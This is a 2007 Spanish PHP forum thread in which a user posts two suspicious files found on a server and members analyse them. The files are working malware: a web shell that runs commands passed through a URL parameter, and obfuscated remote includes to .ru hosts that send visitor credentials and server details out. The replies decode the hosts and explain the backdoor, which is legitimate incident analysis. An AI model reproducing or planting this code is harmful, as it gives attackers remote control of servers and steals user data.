Foros del Web » Programando para Internet » PHP »

Archivos sospechosos

Estas en el tema de Archivos sospechosos en el foro de PHP en Foros del Web. Salduos maestros. En una carpeta del server con permisos 777 "misteriosamente" aparecieron dos archivos .php que nadie sabe de donde salieron, a continuación pongo los ...
  #1 (permalink)  
Antiguo 09/03/2007, 13:52
 
Fecha de Ingreso: enero-2002
Mensajes: 4.159
Antigüedad: 22 años, 3 meses
Puntos: 22
Archivos sospechosos

Salduos maestros.

En una carpeta del server con permisos 777 "misteriosamente" aparecieron dos archivos .php que nadie sabe de donde salieron, a continuación pongo los códigos para solicitarles su ayuda, por mas que los analicé no logro entender a totalidad, por lo que enetendi anda analizando al información enviada por el vistante pero deseo conocer sus opiniones:

archivo date.php:

Cita:
<?php
error_reporting(0);
if(isset($_POST["l"]) and isset($_POST["p"])){
if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{$user_auth="";}
if(!isset($_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhb WUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
}
?>
Archivo time.php

Cita:
<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$str=base64_encode($a).".".base64_en code($b).".".base64_encode($c).".".base64_encode($ d).".".base64_encode($e).".".base64_encode($f)."." .base64_encode($g).".".base64_encode($h).".$s"; if ((include(base64_decode("aHR0cDovLw==").base64_dec ode("dXNlcjkubXNodG1sLnJ1")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_deco de("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);} ?>
Saludos y grácias desde ahora.
  #2 (permalink)  
Antiguo 09/03/2007, 14:19
Avatar de chalchis  
Fecha de Ingreso: julio-2003
Mensajes: 1.773
Antigüedad: 20 años, 9 meses
Puntos: 21
Re: Archivos sospechosos

mmm pues no se si puediera ser que ofuscaron el codigo pero pues
mas vale prevenir y ejecutalos en algun otro lado que no tenga que ver con tu server y claro sin conexion de internet

saludos
__________________
gerardo
  #3 (permalink)  
Antiguo 09/03/2007, 14:24
 
Fecha de Ingreso: enero-2002
Mensajes: 4.159
Antigüedad: 22 años, 3 meses
Puntos: 22
Re: Archivos sospechosos

Cita:
Iniciado por chalchis Ver Mensaje
mmm pues no se si puediera ser que ofuscaron el codigo pero pues
mas vale prevenir y ejecutalos en algun otro lado que no tenga que ver con tu server y claro sin conexion de internet

saludos
Si eso voy a hacer, estan muy revueltos, tienes razón, voy a poner a dos colaboradores a probarlos en una máquina segura a ver que encontramos.

Saludos y grácias.
  #4 (permalink)  
Antiguo 11/03/2007, 12:32
Avatar de DeeR  
Fecha de Ingreso: diciembre-2003
Ubicación: Santiago
Mensajes: 520
Antigüedad: 20 años, 4 meses
Puntos: 17
Re: Archivos sospechosos

¿ Como se pudieron grabar los Archivos en ese directorio ?
Es por que tienen permisos 777, es decir cualquier usuario o grupo pueden acceder a ese directorio . Yo creo que con permisos 700 (solo el USER puede leer y escribir y ejecutar) pero talvez el interprete de php no se si pueda con acceso 700 , tienes que probar.
Algun user/cuenta de tu hosting, grabo esos archivos en tu Directorio.

Respecto al primer archivo date.php
Para su correcto funcionamiento, este script necesita alguna variables que se le entregan via get.
Considero muy peligrosa esta linea
Código:
include_once (base64_decode("aHR0cDovL2Jpcy5pZnJhb WUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg);
Ya que lo que intenta es incluir ( es decir ejecutar ) una URL externa, esta URL externa si imprime codigo PHP, este codigo se ejecutaria, en fin la URL contiene datos que son codificados, en mi server, lo que esta ofuscado es algo como esto en mi caso
Código:
http://bis.ifrao唹ÉÔ½µ…ÍѕȹÁ¡ÀýÉ}…‘‘È3232235877&url=ZGVlcm1lL3Rlc3QvdGVzdC5waHA=
Ahora esto esta dentro de un if, si no se ejecuta, pasa a la linea
( q creo que la peor linea ) es esta (system($_GET["a3kfj39fsj2"]); ) ya que ejecuta un comando que se le envia via post, lo cual es muy peligroso

Mas rato veo el date.php

Lo otro, si pudieras ejecutar el date.php pero envez de include_once pones un echo , para ver que URL te imprime a ti

PD : Yapoz viejos del PHP, miremos este codigo, ya que al amigo de un momento para otro tiene este codigo en tu cuenta en el hosting.

Saludos
  #5 (permalink)  
Antiguo 11/03/2007, 14:24
Avatar de oso96_2000  
Fecha de Ingreso: junio-2002
Ubicación: Distrito Federal
Mensajes: 558
Antigüedad: 21 años, 10 meses
Puntos: 35
Re: Archivos sospechosos

Veamos, borra esos archivos, yo tenia unos parecidos en mi host junto con una linda pagina que aun conservo xD.. claro, no me fije que lo tenia asi por meses pq esa carpeta no la usaba desde hacia mucho.

La primera direccion que se trata de incluir es:
http://bis.iframe.ru/master.php?r_addr={ip_del_server}&url={url_del_ser ver}
Donde:
{ip_del_server} = ip2long(getenv(REMOTE_ADDR))
{url_del_server} = base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg

Y en las lineas anteriores es donde se forma la cadena $user_auth y $log_flg, en fin..

Luego, si esta puesta la cadena 'a3kfj39fsj2' en la url, ejecutara (o tratara) el comando que ahi este:
Ej: date.php?a3kfj39fsj2=ls <- listado de archivos
Y al final intenta mostrar, si $_POST['l'] es igual a "special", un uname -a, q da la info del kernel que esta corriendo la maquina

Ahora, el time.php
Primero empieza a juntar variables que se componen de diversos aspectos del visitante/servidor:
$_SERVER["HTTP_HOST"]
$_SERVER["SERVER_NAME"]
$_SERVER["REQUEST_URI"]
$_SERVER["PHP_SELF"]
$_SERVER["QUERY_STRING"]
$_SERVER["HTTP_REFERER"]
$_SERVER["HTTP_USER_AGENT"]
$_SERVER["REMOTE_ADDR"]

Luego, las une todas en la cadena $str, y codificando cada una en base64. Cuando ya esta la cadena completa, trata de incluir una direccion:
http://user9.mshtml.ru/?{cadena}
Donde {cadena} es la cadena formada anteriormente con todas las varibles. Si esa url no se puede incluir, entonces lo intenta con otra
http://user7.htmltags.ru/?{cadena}

Y taran, listo todo o.o.. en esas ultimas paginas debo suponer que es donde se guarda la info que se recoge
__________________
Sin Ideas
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 20:20.